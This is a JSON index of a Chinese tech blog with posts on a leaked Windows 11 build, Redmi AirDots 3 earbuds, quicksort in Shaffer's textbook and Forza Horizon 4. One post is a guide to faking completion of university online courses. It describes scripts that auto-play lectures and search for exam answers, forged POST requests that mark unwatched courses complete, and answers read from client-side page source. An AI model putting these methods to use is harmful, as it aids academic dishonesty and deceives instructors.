Terminal内置进系统，在各级目录右键即可打开，对开发的友好程度大幅提升。当然，指望微软把Visual Studio Code整合进去就不太现实了……\n这里的字体渲染似乎也有所不同，当然也可能又是中英文的原因。\n但令人匪夷所思的是，它自带的仍然是旧版PowerShell，版本5.1.21996.1，而截至此时PowerShell 7.1.3也已发布。当然我不太懂也没法怎么说。\nPower Automate Power Automate 似乎是微软的低代码效率工作解决方案。低代码这个概念炒得挺火的，能够让没有编程基础的人也能更有效率地完成工作，虽然本质上也是编写类似于程序的东西。这次，微软直接将它内置进了系统。我也不会用，我就不过多介绍了，不过我觉得这个是比较有生产力的一个东西。\n性能 我也没有什么好的性能测试项目，只跑了一个Cinebench R23，结果似乎并不是很令人满意。\n我分配了4G内存、16个线程，而同样配置的Win10虚拟机可以达到8113分。当然，这是在虚拟机环境下的测试结果；由于VMware Workstation并未适配Windows 11，测试结果也有可能不准确。\n据其他媒体的测试，Windows 11下对于大小核处理器的支持似乎更加优秀，或许也是为了新款Intel处理器所做的准备。\n一些缺憾 各种风格共存的界面 Windows 11还是有一些十分令人迷惑的东西，比如，切换本地账户和微软账户的UI仍然是割裂的，一股Metro（Windows 8）风。\n其实类似的UI割裂感仍然存在于一些地方。下面这张图真的看得我血压上来了……\n不知道多少年代多少风格的杂糅\n记事本：UWP化了，但没全UWP化 还有十分诡异的Windows记事本，我甚至不知道它是UWP程序还是桌面程序。\nC:/Windows/notepad.exe的图标，仍然是Windows 7风格，但打开它，状态栏等图标却是Fluent的。从Windows任务管理器中打开文件位置，发现它竟然指向一个UWP应用。\n刚刚那个 / Windows文件夹中的记事本有340K，相比Windows 10的197K，不知道加了什么东西…… 不过可以肯定的是，它现在只是一个UWP应用的跳板。\n总结 需要重申的是，这一版Windows 11是早期内部开发版本，甚至都没有进Dev通道推送给Windows Insiders用户，所以在这个版本的Windows 11中，不可避免地会出现半成品的痕迹，我们并不应该因此来否定整个Windows 11。\n这一版Windows 11，可以看出微软正在下决心让自己有数十年历史的系统更加现代化，至少在外观方面，Windows 11做得比过去数年都更有诚意得多。而现代系统所缺少的小功能，尤其是老对手macOS，和移动端OS如HarmonyOS 2.0以及MIUI等所具有的，Windows一样没有，比如自动深色模式和全局深色模式、完善的高DPI缩放和更好的字体渲染、屏幕时间管理（数字健康）、可遍及几乎所有应用的权限管理（只有Windows Store应用支持部分权限，即使如此桌面应用也只能一起控制开关），还有内置的屏幕色彩管理等等。\n当Windows部门（哦，现在好像合到Azure部门了）沉浸于换UI、砍功能、写bug、改名字带来的成就感时，其他操作系统开发商则一直在努力加强人性化，在UI方面也并未落下。希望这次微软的改变只是一个开始。\n微软曾承诺会建设新的Microsoft Store，这无疑有利于Windows应用生态的收紧，不过我仍然怀疑微软能不能让腾讯、Facebook这样的巨头低头，规规矩矩地存在它该在的目录，干它该干的事。\n我觉得，Windows也许仍然有未来，但这个版本的Windows 11，显然不够未来。\n最后放一个微软在四年前畅想的Fluent Design宣传片。\n","date":"June 16, 2021","matchCount":0,"permalink":"/post/windows-11-21996-leaked/","preview":"","title":"Windows 11 21996 泄露版本体验"},{"content":"终于，我还是没抵挡住TWS便利性的诱惑，决定入手TWS，在不需要降噪而更需要便利性的地方用来替代我的OPPO Enco Q1。\n在酷安和微博转了转，发现对于这款耳机，最大的负面评价来自于它的品控和外观，连接稳定性似乎中规中矩，而音质方面大部分人都是持比较肯定的态度。这不就是我想要的么？不过有些人表示戴不住，我倒有点担心。\n既然实体店没货还没展示机，我只好于黄牛处入手。可以说，发售这么久还要抢（截至2021年5月初）也是很大的缺点。\n提醒：我的入手价为215元，搭配的手机为小米10 Pro，该机型有aptX Adaptive和MIUI深度适配，而没有Snapdragon Sound。价格、连接的手机、个人耳型和调音喜好会对使用体验造成很大的影响，因此我的体验不一定适合你，请周知。 如果你的附近有配备展示机的小米之家，建议去试戴。 下面基本是文字，想看图的请移步别人的文章。\n本文仍在施工中，拖拖拉拉历时将近一个月了再不发出来就不合适了，所以先放出来再说。\n外观与工艺 盒子有点家族式的感觉，纸盒。没啥好说的。\n充电盒类肤质表面塑料材质，不沾指纹，但是很容易被钥匙留下划痕，而经过三个周的使用，我的充电盒底部已经被桌面划出了一些痕迹。整体比较圆，放在兜里好像没啥问题，挺方便。\n上盖饱受诟病的松动问题我也遇到了，上盖很容易晃动，虽然实际上并没有什么问题，但是总给人一种廉价感。不只是配不上199价位，甚至可能只配得上59价位。\n盖子与本体的磁吸比较紧，不能直接搓开，必须由手指找好角度抠开。完全打开的时候没有反磁，但是仍然有一点往完全打开的状态吸引的趋势，使开着盖的充电盒能够保持开启。\n开机 / 重置键的手感不咋样，不过如果你一般只用一台小米手机连接，那么好像基本用不到重置键。\n接口是USB-C，好文明。不过我在盲操的时候容易把充电口和开盖的凹槽弄混，经常是抠了好久充电口才意识到不对……\n耳机本体是豆状（废话），可能由于要做触控的缘故，靠外的区域使用光面塑料，非常容易沾指纹，也比较容易划伤；其他的区域则是普通的磨砂塑料。接缝处不是很平顺。\n每侧都有双麦克风，支持通话降噪，但是毕竟没柄，通话收音可能会比那一群类AirPods差一些。\n硅胶套上有一层网，可以有效地防止耳屎进入，同时也方便清理（鸡老师狂喜）。而将套摘下，腔体上还有一层十分细密的防尘网，毕竟外面那层的孔还是太大了。这两层配合起来应该能够起到比较好的保护作用。在它的周围印有耳机型号和CMIIT ID。\n连接性与续航 开盖即可被我的小米10 Pro发现，并弹窗提示连接，展示耳机和充电盒电量。延迟大约1秒。之后小爱同学长期驻留通知栏，负责常显电量等信息。但恕我直言，什么设备说明书，什么常见问题，真的适合在通知中心展现吗？个人认为，把它尽量缩小，只剩三个电量就够用。甚至，可以把电量移到控制中心，断开连接使用Android系统的蓝牙断开方式。\n现在网络上的风向是，是个蓝牙耳机就要加弹窗，要加通知栏显示，仿佛这俩东西成了蓝牙耳机的核心，不可不说荒谬。巨大的弹窗和巨大的常驻通知并没有提升多大体验，不过对于这款耳机，似乎屏幕上有操作就不会弹窗干扰，这个不错。\n将近三个周时间，全程aptX Adaptive，暂时只发现一次断连现象，信号还算稳定，没有发现受干扰的情况。隔一道承重墙的情况下，信号仍然良好，干扰完全感知不到。\n支持单耳连接，只要从充电盒中拿出就会连接到手机，从拿出到传出声音不到2秒钟；听到一半将一只放回充电盒则会单独断开它的连接。双耳电量消耗比较平均也能佐证这一点。\n最新版Apple Music歌词滚动似乎有一定的bug，使得不能很好地测试延迟，所以暂时不表，等我有空再测吧。\n支持低延迟的游戏，我是一个也不玩，所以我也不知道它的延迟能低到什么程度。\n续航完全不需要担心，2小时各消耗15% 左右电量。如果一直不放回充电盒的话，续航确实比大部分项圈要差很多。但是考虑到大部分使用场景都是间歇听，配合充电盒的话实际续航体验是强于项圈的。再加上可以一边听歌一边给充电盒充电，充电速度也不必要太担心了。不过真的比不了云耳2，充电10分钟听歌10小时，这种属于我看不懂但我大受震撼。\n值得注意的一个细节是，耳机在90% 以上电量分度值为5%，而90% 以下就变成了分度值1%。\n声学表现 199的TWS，还能配上一圈一铁，十分不容易。虽然大家都说TWS要什么音质，能听就行，但是我还是对此寄予了一点期望。我使用过小米圈铁耳机2，因同属圈铁，我也会将它加入对比。\n这部分完全不能做到客观，如有不同意见请理性讨论。\n低频量偏大，但不算很轰头，基本符合这个价位的特点。声场比Q1宽广不少。解析力尚可，完全没有圈铁2那种暖糊的感觉。高频表现略逊于Q1，虽然有动铁但是似乎并没有发挥很大的作用，而云耳2的高频优势则大一些。AirDots 3这样的调音，我觉得对于流行乐还是比较适合的。也可以说，超越了我对低价TWS完全没有音质的印象。\n所幸，MIUI系统自带蓝牙耳机的均衡器功能，这可一定程度上缓解低频量溢出的问题。不知道其他ROM上有没有。\n底噪十分优秀，基本感受不到，比云耳2小很多，比Q1没开ANC的情况下也小一些。\n仅靠耳塞，被动降噪效果较好，应该能打过一些比较弱的主动降噪耳机。\n我基本不打电话，更不会戴着耳机打电话，所以没测麦克风表现。\n佩戴 这部分也因人而异，不能完全参考我的文字，试戴才能得出符合你的结论。\n它的设计本来是耳廓和耳道共同承托耳机，而对于耳朵小的人（比如我），就只剩了耳道。于是我不得不使用中号的耳塞，来保证能够戴住。\n正常佩戴下虽戴不紧但并不会掉，但是毕竟这耳机是有入耳检测的，如果你做了打个哈欠，或者咧嘴笑之类让脸部肌肉改变耳廓形状的动作，可能会让耳机离开皮肤触发摘下检测，然后音乐莫名其妙就停了。这个时候，你要么塞回去，要么强行继续播放，这个场景对于不少不是很能贴合的人还是比较烦的。\n正常行走和静止过程中，完全能够戴住，就连跑步的时候也可以保证不掉。\n所以说，戴不紧并不代表戴不住，但如果你对戴不紧的耳机觉得膈应得慌，那我建议你去试试再说。\n其他功能 双耳都支持多种双击手势，但也只限于双击而已。如果你习惯轻击两下，那这样可能无法触发手势，你必须按上去，略作停留，然后再抬起来，然后重复一次。这样做之后不论是灵敏度还是准确度都有较大幅度的提升。\n佩戴检测本意是好的，正常情况下用起来也还行，但是就如同上个部分我所说的一样，有较小的几率会误脱离，从而暂停播放。\n总评 这款耳机的音质无疑是最亮眼的地方，在普遍音质拉胯的低价位TWS中算是一股清流。一圈一铁的搭配在这个价位可以算得上良心。调教风格比较大众，低频量大的基础上表现还算不错。\n搭载的膏通3系蓝牙芯片也使得连接非常稳定可靠，特别是搭配高通旗舰芯片的智能手机的时候。\n做工和外观算是它的两大缺点，连着三代都没变的外观在现在看来似乎有些过时，动铁单元的加入也让外形稍显臃肿，晃晃悠悠的上盖更是完全不该有的表现。\n佩戴的舒适度因人而异，对于一部分人，不能很好地贴合耳道使其成为了减分项；而对于另一部分人，会好一些。\n综上所述，以我的观点来说，我比较推荐拥有小米系7、8系高通处理器机型用户购买，其他机型用户也可尝试一下，不过如果有条件，建议所有意向者去试戴。\n别骂了，准备冲AirDots 3 Pro了，回去把这个卖掉，太馋降噪和手机电脑双设备连接了，这两个对我来说是刚需，首发299的价位也算是有巨大的价格优势，这两个对我来说基本是极强的刚需。要不是为了水过去某些垃圾老师的课，我怎么会用得着TWS呢……\n","date":"May 31, 2021","matchCount":0,"permalink":"/post/redmi-airdots-3-review/","preview":"","title":"性价比党的神器？Redmi AirDots 3 简评"},{"content":"如今的大学生应该都懂刷课的痛吧，不知道什么时候出现了一堆莫名其妙的网课，正常看都不一定能有时间看完，但这网课又偏偏占平时分，咸鱼需要它及格，卷王需要它刷绩点，所以基本是人人都需要刷网课。\n目前看来，刷网课的方式主要有Tampermonkey脚本、Python脚本、Chrome插件等，效率和实现方式各不相同。下面以各个网站为例，讲讲我推荐的几种刷课方式。特定的方式不一定只适用于特定的网站，有很多通用的方法可以都试一下。\n不过这种选题，啥时候没了也说不定，且看且珍惜吧。\n知到 / 智慧树 - Tampermonkey 对于这个网课，我一般使用Tampermonkey脚本。\nTampermonkey，俗称油猴，是各大主流浏览器上的一个脚本管理器扩展，对Google Chrome、Firefox、Microsoft Edge Chromium、Microsoft Edge Legacy（EdgeHTML）和Safari都有支持，可以在Chrome Web Store等官方应用店下载，各大国产Chromium内核浏览器也可以使用提取的crx文件来安装扩展。它的原理大致是在特定的网页上加载JavaScript，从而实现网页原本不具有的功能。如果觉得它好用，也不妨给它捐助。你也可以使用Violentmonkey和AdGuard等类似的能加载脚本的插件。\n安装之后，点击Tampermonkey图标，可以使用 “新建脚本” 来自己写一个脚本，或者在此处粘贴你从GitHub等地获取的脚本，或者使用 “获取脚本” 来从网上直接下载脚本。我建议从 Greasy Fork 搜索到你需要的脚本，比如直接搜索 “知到” 就可以找到适用于它的脚本，然后点击 “安装此脚本” 即可安装在Tampermonkey中。大部分脚本都遵循一定的开源协议，这意味着你可以随意使用或者修改它的源代码。脚本是只在特定的网站中有效的，Tampermonkey右下角标的数字，就是在这个页面启用的脚本数。点击它，可以控制适用于该页面脚本的开关。\n我使用的插件能够实现播完自动切换课程，自动1.5倍速，自动静音播放，还可以打开考试之后自动搜题（可以用来赶作业，不过正确率实在变态所以慎用）。值得注意的是，它还有模拟点击延迟的功能，以模拟真正的人工操作。 这是它的 Greasy Fork 链接。\n微伴安全微课 - Python + Tampermonkey 这似乎是我们每个暑假都必有的网课。它包含大量的JavaScript等元素组成的互动式页面（而不是单纯的视频）。但是它的部分课程有一个弱点：浏览器可以直接发送完成请求，来完成某个课程。所以，对于这部分，我使用Python脚本，直接获取课程列表并发送完成请求，就可以以极快的速度刷完了。\n我这里所说的Python脚本，指的是通过urllib库完成的操作，将自己伪装成一个浏览器，可以跳过某些步骤而直接进行我们想要的操作，因而效率一般非常高。比如这个地方，我们就可以跳过网课的浏览阶段，在获取课程列表、种类列表、课时列表之后，可以得到每个课时的ID，然后将它填进一个JSON文件，将它用一个POST请求发送给完成网课对应的地址，于是服务器就以为我们完成了网课。写过爬虫的应该都明白。还有通过Selenium，操纵一个真正的浏览器完成操作的方式，在此不表（因为我根本不会）。\n当然，不明白也没关系，因为我已经fork了一份别人的代码，做了一些改进，应该可以用了，地址在这里。经过实测，大概能在五分钟内刷完200 + 节网课。具体使用方法请参照它的GitHub页面和应用内指引。\n刚刚我们提到只有部分课程有此弱点，那其他的课程呢？我摸索了一个下午，由于水平太菜，愣是没有找到它的规律。不过还有一个Tampermonkey插件，它也可以刷这个网课。点击这里转到 Greasy Fork 页面。它的基本原理也是尝试直接发送完成请求，但是对于不能这么办的课时，你打开后，它会尝试点击屏幕上的按钮，直到提示完成。效率有点低，但是毕竟不用全程都手动点了对吧。\n另外，《新大学英语视听说课程》配套平台 “iSmart” 也可以使用Python脚本刷课。离谱的是，它的答案会传到本地，然后在本地验证正误。可以使用 Mufanc/iSmartAuto2 搭配iSmart客户端的调试模式刷课，该工具还会自动生成学习时间。考虑到这个系统似乎是外包给天学网的，不知道天学网的课程是否能使用相似方法刷。\n雨课堂（试题） - 浏览器插件 这里我隆重推荐一款网页端的搜题软件，“划词搜题”，它能搜出绝大部分题目。\n只需要选中你需要搜的题的题干，插件会自动弹出搜题按钮。点击那个按钮，它就会为你找到对应的题目。\n美中不足的是没有解析，毕竟很多时候搜题只是为了想学点知识。\n中国大学MOOC - 手机 “息屏听剧” 功能或Android模拟器 有一些网课平台的课程，在电脑端需要手动切换课时或者点击播放，而在手机端却可以连续播放。我们利用这一特性，使用手机实现连续听课；考虑到锁屏后容易中断的特性，可以使用机型自带的 “息屏听剧” 等功能，让锁屏时也不停止播放。\n你也可以使用电脑端的Android模拟器，如各种手游模拟器，运行网课应用，就相当于有一部手机在挂网课了。\nWe Learn随行课堂 - 直接看源代码 写在最后面是因为这个完全没有技术含量。页面加载后，答案就会直接显示在浏览器DevTools的 “元素” 页面。这证明答案是直接传到本地，然后在本地完成验证的，而且还选了一种十分拙劣的方式。怎么说呢，感觉这个是故意而为之……\n对于Chromium内核浏览器，在We Learn学习页面打开Dev Tools（Firefox请自行探索），即可在 “元素” 选项卡找到答案。\n写在最后 使用任何刷课插件都是有风险的，如果老师或者平台愿意查，应该都能查出来，尤其是一秒钟好几节课那种脚本。对于参照本文而产生的任何后果，作者概不负责。\n请认真对待线上考试等严肃场景！只有要求看但实际上也许并不是这么有效的课程，我才推荐使用如此的特殊方法刷课。\n对于大部分网站，Tampermonkey都有脚本支持，但很多年久失修的脚本容易失效，敬请注意。也可以在GitHub搜索网站名，也可能有人会做刷课脚本。\n","date":"May 27, 2021","matchCount":0,"permalink":"/post/online-course-hack/","preview":"","title":"当代大学生如何愉快地刷网课？"},{"content":"近日学习Clifford A. Shaffer的《数据结构与算法分析》（Data Structure and Algorithm Analysis）的快速排序算法部分，深感例子的难懂，遂决定自己写一个这本书快速排序算法的详解。\n算法思想与过程 Shaffer在本节的一开始说了这么一段话：\nBefore we get to Quicksort, consider for a moment the practicality of using a\nBinary Search Tree for sorting. You could insert all of the values to be sorted into\nthe BST one by one, then traverse the completed tree using an inorder traversal.\nThe output would form a sorted list. This approach has a number of drawbacks,\nincluding the extra space required by BST pointers and the amount of time required\nto insert nodes into the tree. However, this method introduces some interesting\nideas. First, the root of the BST (i.e., the first node inserted) splits the list into two\nsublists: The left subtree contains those values in the list less than the root value\nwhile the right subtree contains those values in the list greater than or equal to the\nroot value. Thus, the BST implicitly implements a “divide and conquer” approach\nto sorting the left and right subtrees. Quicksort implements this concept in a much\nmore efficient way.\nData Structure and Algorithm Analysis Edition 3.2 (C++ version), Page 245\n他提到了二叉搜索树（BST），这是一种前序遍历结果有序的树结构。对于BST的每一颗子树来说，根节点左子树的元素都比它小，右子树中的元素都比它大，这样一来根节点元素的位置就是确定的了。\nBST用的是一种分治的思想，也就是对于一个节点的左右子树，要么为空，要么仍然是一颗BST。使用这样的递归定义，我们就可以构建出一棵二叉搜索树。对于一个要构建为二叉搜索树的区间，先随意确定一个根节点的值。这样做虽然可能影响效率，但也可以构建一棵完整的BST。然后，将小于它的值放到左子树中，将大于它的值放到右子树中。然后再对这两边分别进行构建，如此重复。\n但是，二叉搜索树总是有结构性时间空间消耗的，于是就有人想到把它 “拍扁”，于是诞生了快速排序：\nQuicksort first selects a value called the pivot. (This is conceptually like the\nroot node’s value in the BST.) Assume that the input array contains k values less\nthan the pivot. The records are then rearranged in such a way that the k values\nless than the pivot are placed in the first, or leftmost, k positions in the array, and\nthe values greater than or equal to the pivot are placed in the last, or rightmost,\nn−k positions. This is called a partition of the array. The values placed in a given\npartition need not (and typically will not) be sorted with respect to each other. All\nthat is required is that all values end up in the correct partition. The pivot value itself\nis placed in position k. Quicksort then proceeds to sort the resulting subarrays now\non either side of the pivot, one of size k and the other of size n − k − 1. How are\nthese values sorted? Because Quicksort is such a good algorithm, using Quicksort\non the subarrays would be appropriate.\nData Structure and Algorithm Analysis Edition 3.2 (C++ version), Page 245\n也就是说，每次排序都确定下来一个元素在本轮待排序列中的位置（称为 “枢轴”/“pivot”），也就是确定了这个元素在整个序列中的位置，然后将枢轴两边（不含枢轴）直到本轮序列两端的部分分别再进行一次快速排序。对位置不合适的元素，成对地进行交换，这样就可以保证一边小一边大了。\n每轮排序的目的都是确定一个元素（即枢轴）的位置，几轮分治下来就能够把所有元素的位置全部确定下来。\n枢轴和根节点，对左右两边排序和对左右两边建树，到这里你应该能感觉到理念比较像了吧。只不过建BST时是从数组中建，可以直接将数分到左子树区域和右子树区域；排序时不占用额外空间，所以要找到一对位置不正确的才能交换，而且枢轴的位置并不是那么固定。\n更具体来说，在这本书中，选择（左边界 + 右边界）/2的位置为枢轴，先将其与最后一个元素交换，然后再将枢轴前的元素分辨大小；最后，再将枢轴以交换的方式移至正确的位置。\n听不明白？上例子！\n示例 下面我们使用蓝色字体表示某层回溯的排序范围，用红色加粗字体表示枢轴，用橙色表示i，用黄色表示j。\n这是一个有9个元素的例子。\nColumn 1 Column 2 Column 3 Column 4 Column 5 Column 6 Column 7 Column 8 Column 9 31 73 44 13 7 28 22 64 53 初始的排序序列为 [0,8]，选择枢轴为第5个元素7.。\nColumn 1 Column 2 Column 3 Column 4 Column 5 Column 6 Column 7 Column 8 Column 9 31 73 44 13 7 28 22 64 53 为了将7移到最后，我们交换7和53。\nColumn 1 Column 2 Column 3 Column 4 Column 5 Column 6 Column 7 Column 8 Column 9 31 73 44 13 53 28 22 64 7 因为小于7的数应该待在左边，从64开始往前，找第一个小于7的数。然而并没有，于是j指向了31。\n然后i从31开始准备往右遍历，找比7大的数，可惜一开始i和j就交叉了。i和j交叉的地方，就是枢轴应该待的位置。\n好，现在交换31和7。\nColumn 1 Column 2 Column 3 Column 4 Column 5 Column 6 Column 7 Column 8 Column 9 7 73 44 13 53 28 22 64 31 7的位置已经确定了，因为左边根本没有元素，接下来排序的范围就是右边的 [1,8]。确定枢轴为53。\nColumn 1 Column 2 Column 3 Column 4 Column 5 Column 6 Column 7 Column 8 Column 9 7 73 44 13 53 28 22 64 31 将53与最后一个元素31交换。\n77344133128226453 从73开始找第一个大于53的数，是73；从64开始找第一个小于53的数，是22。\n77344133128226453 交换73和22。\n72244133128736453 继续往左往右找，直到i找到了73。\n72244133128736453 i和j重合，那就将对应元素与枢轴53交换。\n72244133128536473 53也到了序列中它应该待的位置，先对原序列53左边的 [1,5] 进行排序。选择13作为枢轴。\n72244133128536473 将13与28交换。\n72244283113536473 从左边找第一个大于13的数，是22；从右边找第一个小于13的数，发现没有，于是i和j又在下标1即22处相遇了。\n72244283113536473 交换22和13。\n71344283122536473 13到了最终位置。左边没有元素，所以对 [2,5] 进行排序。选择28作为枢轴。\n71344283122536473 将28与22交换。\n71344223128536473 从左边找第一个大于28的数，为44；从右边找第一个小于28的数，为22。\n71344223128536473 将44与22交换。\n71322443128536473 从22再找比28大的数，没找到，在44的位置i与j重合。\n71322443128536473 将28与枢轴44交换。\n71322283144536473 现在28到了最终位置。\n因为28左边只有一个元素，这部分肯定是有序的，22就该在这个位置；于是对 [4,5] 进行快速排序，选取枢轴为31。\n71322283144536473 将31与44交换。\n71322284431536473 从44找比31大和比31小的数，但是因为除枢轴就44一个数，i和j当然会在44相遇。\n71322284431536473 交换44和31。\n71322283144536473 于是31到了最终的位置，左边没有元素，右边只有44，所以分治到了最小的范围，不可以再分治下去。\n（顺便提一句题外话：从这里可以看出快速排序在元素很少的时候效率比较低，所以如果希望优化快排的话，可以搞一个在元素小的时候换插排）\n一路回溯，最终我们回到了刚刚确定53位置的时候，那时的状态是这样的。排序范围 [1,8]，枢轴53。\n72244133128536473 排序区间中，枢轴53的左边已经排序完成，而右边没变，还没轮到排序。下面我们就排 [7,8]。选取64为枢轴。\n71322283144536473 将64与序列尾部的73交换。\n71322283144537364 照例移动i和j，当然毫无悬念地会在73重合。\n71322283144537364 将73和64交换。\n71322283144536473 至此，64归位，左边没有元素，右边只有73，所以 [7,8] 排序完成。\n回溯，发现这已经是最后一块未排序区间了，所以全部数都已经排序完成。\n71322283144536473 在研究快速排序的回溯过程时，也可以选择使用教材图7-14（英文版P248）那样的示意图，能够更加直观地描述该回溯到哪一层，如下图。\n代码解释 有了上面对算法本身的理解，我相信理解代码应该不是很大的困难了。\n主函数是这样的：\ncpp 复制代码 template \u0026lt;typename E, typename Comp\u0026gt; void qsort(E A[], int i, int j) { // Quicksort if (j \u0026lt;= i) return; // Don’t sort 0 or 1 element int pivotindex = findpivot(A, i, j); swap(A, pivotindex, j); // Put pivot at end template \u0026lt;typename E, typename Comp\u0026gt; void qsort(E A[], int i, int j) { // Quicksort if (j \u0026lt;= i) return; // Don’t sort 0 or 1 element int pivotindex = findpivot(A, i, j); swap(A, pivotindex, j); // Put pivot at end // k will be the first position in the right subarray int k = partition\u0026lt;E, Comp\u0026gt;(A, i - 1, j, A[j]); swap(A, k, j); // Put pivot in place qsort\u0026lt;E, Comp\u0026gt;(A, i, k - 1); qsort\u0026lt;E, Comp\u0026gt;(A, k \u0026#43; 1, j); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 template \u0026lt;typename E, typename Comp\u0026gt; void qsort(E A[], int i, int j) { // Quicksort if (j \u0026lt;= i) return; // Don’t sort 0 or 1 element int pivotindex = findpivot(A, i, j); swap(A, pivotindex, j); // Put pivot at end template \u0026lt;typename E, typename Comp\u0026gt; void qsort(E A[], int i, int j) { // Quicksort if (j \u0026lt;= i) return; // Don’t sort 0 or 1 element int pivotindex = findpivot(A, i, j); swap(A, pivotindex, j); // Put pivot at end // k will be the first position in the right subarray int k = partition\u0026lt;E, Comp\u0026gt;(A, i - 1, j, A[j]); swap(A, k, j); // Put pivot in place qsort\u0026lt;E, Comp\u0026gt;(A, i, k - 1); qsort\u0026lt;E, Comp\u0026gt;(A, k + 1, j); } 它首先检验了排序区域，如果长度小于等于1，则没必要进行排序，直接return。\n然后，使用 findpivot 函数确定枢轴，保存在pivotindex里。这个函数是这样的：\ncpp 复制代码 template \u0026lt;typename E\u0026gt; inline int findpivot(E A[], int i, int j) { return (i \u0026#43; j) / 2; } 1 2 3 4 5 template \u0026lt;typename E\u0026gt; inline int findpivot(E A[], int i, int j) { return (i + j) / 2; } 简单来说，就是取整个区间中间位置的值来返回。这么说的话，好像根本没必要传进A数组……\n之后，用 swap(A,pivotindex,j); 语句来将j与区间内最后一个元素交换。\n后面调用的 partition 函数，执行的就是i和j向左向右移动的过程。\ncpp 复制代码 template \u0026lt;typename E, typename Comp\u0026gt; inline int partition(E A[], int l, int r, E \u0026amp;pivot) { do { // Move the bounds inward until they meet while (Comp::prior(A[\u0026#43;\u0026#43;l], pivot)) ; // Move l right and while ((l \u0026lt; r) \u0026amp;\u0026amp; Comp::prior(pivot, A[--r])) ; // r left swap(A, l, r); // Swap out-of-place values } while (l \u0026lt; r); // Stop when they cross return l; // Return first position in right partition } 1 2 3 4 5 6 7 8 9 10 11 12 13 template \u0026lt;typename E, typename Comp\u0026gt; inline int partition(E A[], int l, int r, E \u0026amp;pivot) { do { // Move the bounds inward until they meet while (Comp::prior(A[++l], pivot)) ; // Move l right and while ((l \u0026lt; r) \u0026amp;\u0026amp; Comp::prior(pivot, A[--r])) ; // r left swap(A, l, r); // Swap out-of-place values } while (l \u0026lt; r); // Stop when they cross return l; // Return first position in right partition } 这里的 Comp 类内含一个比较函数，能够比较两个对象的大小，如果前面的比后面小则返回true。\n当 A[i] 小于枢轴值的时候向右移，这样就会停在第一个比枢轴大（或相等）的数上；这之后，当 A[j] 大于枢轴值且没有越过l的时候向左移，于是停在i上或者从右往左第一个比枢轴小的数上。\n极端情况下，如果枢轴就是最大的，那么i和j就会停在枢轴上；如果枢轴是最小的，那就会停在最左边。\n然后，将i和j相遇的位置返回，记为k，它就是枢轴所应该呆在的位置。执行swap，将枢轴换上来。\n这之后执行二分，分别将当前区间的枢轴左半边和枢轴右半边作为新区间进行快速排序操作即可。\n附录 这里推荐一个工具，能够用动画形式展示自定义例子的快速排序过程：OpenDSA - 快速排序（英文）。它的内容与Shaffer的教材基本相同，毕竟Shaffer先生就是Virginia Tech的教授。\n向下翻到Quicksort Visualization，可以输入自己的样例，分步观察排序过程；在它的下方，有一个小练习，可以手动模拟过程，检验学习效果。\n","date":"May 11, 2021","matchCount":0,"permalink":"/post/quicksort-in-shaffer-book/","preview":"","title":"Clifford A. Shaffer 数据结构教材的快速排序详解"},{"content":"在极品飞车新作不给力的情况下，极限竞速：地平线4完全可以称为近几年来最好的赛车游戏（或者是娱乐向RAC）之一。但是，它也有一些硬伤，作为赛车游戏来说并不该有的硬伤。\n本人是以183元于Microsoft Store购入的终极版。购入价格与评价可能有关系。 所有评价均为主观评价，写下文章时为2021年5月，游玩时间大约30小时，110多级。\n画面与性能 地平线4性能的优化非常优秀。令人惊讶的是，即使是GTX 1650 Laptop这种级别的显卡，也能够以2K分辨率高特效运行，帧数也在很能令人接受的范围内，基本稳定在50帧左右。\n不过，“低端卡也能开高特效” 的后果，似乎是画质并不怎么样：在这种画质设置下，远景画质有点崩，高速行驶时能够明显感觉到稍远的地方与较近的地方画质差别很大，有逐渐精细的明显分层。\n下图是将预设画质调整到” 超高 “，关闭动态调整画质，得到的游戏截图。\n而在林地这种光线复杂的场景中，帧数会降到40左右，有明显卡顿，但光影效果很不错。\n同样的画质设置下，静态画质与景物细节表现如下：\n嗯，树叶的细节还是…… 不敢恭维。路牌上的文字在更远处也会出现模糊现象。\n玩法与内容 嘉年华 “地平线嘉年华”是整款游戏的主线，各大玩法都是围绕着它而来的。\n游戏的一开始是四个季节的嘉年华，感觉似乎有点新手教程的味道，带着你熟悉各个季节。之后才进入真正的嘉年华，每隔几天切换一个季节，每个季节有不同的播放列表（哦伙计，你再用这么蠢的直译，我就用隔壁约翰的靴子狠狠踢你的屁股）和锦标赛。\n达成一定的目标，能够获得一些车辆等物品。\n“播放列表”是各式各样的目标，比如多少次超车等；而锦标赛是数个赛事的集合，用特定的车去跑。\n这样的机制能够保持游戏的新鲜感，不至于通完剧情或者打完赛事就索然无味地卸掉，当然可能也是为了对得起下载的60G。\n地平线故事与商家 “地平线故事”是主要的剧情部分，有各异的剧情，如“英国赛车绿”带你领略英国汽车厂商的历史，“快递服务”让你开着卡车运一些奇奇怪怪的东西，“拉雷瑟 @地平线”则是体验历史上其他赛车游戏的名场面，不过可惜没有极品飞车。\n有的地平线故事也是商家，你需要花费点数解锁，而商家会持续产生收益。\n极限竞速系列历来都和TopGear有合作，在正作中是TG Test Track，而在地平线中就是一段剧情。在这段剧情中，你就是试车人试替哥The Stig。不管怎么说，能听到TG片头曲，和Chris Harris的声音，还是挺让人有代入感的。\n赛事 赛事分为公路赛、街头赛、越野赛、泥地赛等。泥地赛是在泥泞小道上比，而越野赛则基本不沿路，甚至到处乱飞。\n极品飞车20：复仇中，也部分借鉴了这种划分（多提一嘴，这种机制应该是沿袭地平线3的），做出了多种玩法路线。呃，好像极品飞车这个是比较像地平线3的，有多个主角。\n非常优秀的一点是，大部分赛事都可以自由选择车辆，而你所面临的对手，则会由你的车辆性能分数、车辆类别和你设定的AI难度来决定。\n你可以开着运动跑车艰难越野，也会有一群运动跑车跟着你越野；你也可以开着陆巡跑街道，和其他车一起过弯滑出道路。\n线上游戏体验 我玩线上模式比较少，只能说，微软的服务器真的很一般。别的玩法目前并不是很熟悉。\n自由漫游 这是一款即使你不跑比赛，光在外面转圈也很惬意的游戏。游戏以苏格兰爱丁堡区域为基础，景色十分宜人，再加上画面的饱和度似乎高一点，很养眼。城市、沙滩、农田、草地、村庄、火车站等场景应有尽有。\n你可以在道路上狂飙，也可以忽视道路，在原野上横冲直撞，飞来飞去。\n导航挺有特色的，游戏中甚至内置了一个语音助手”Anna“，虽然只能按键召唤，但是它可以语音提示你该转弯了，还是挺有意思的。只不过规划路线嘛…… 有右转车道为啥不用？\nLEGO Speed Champions 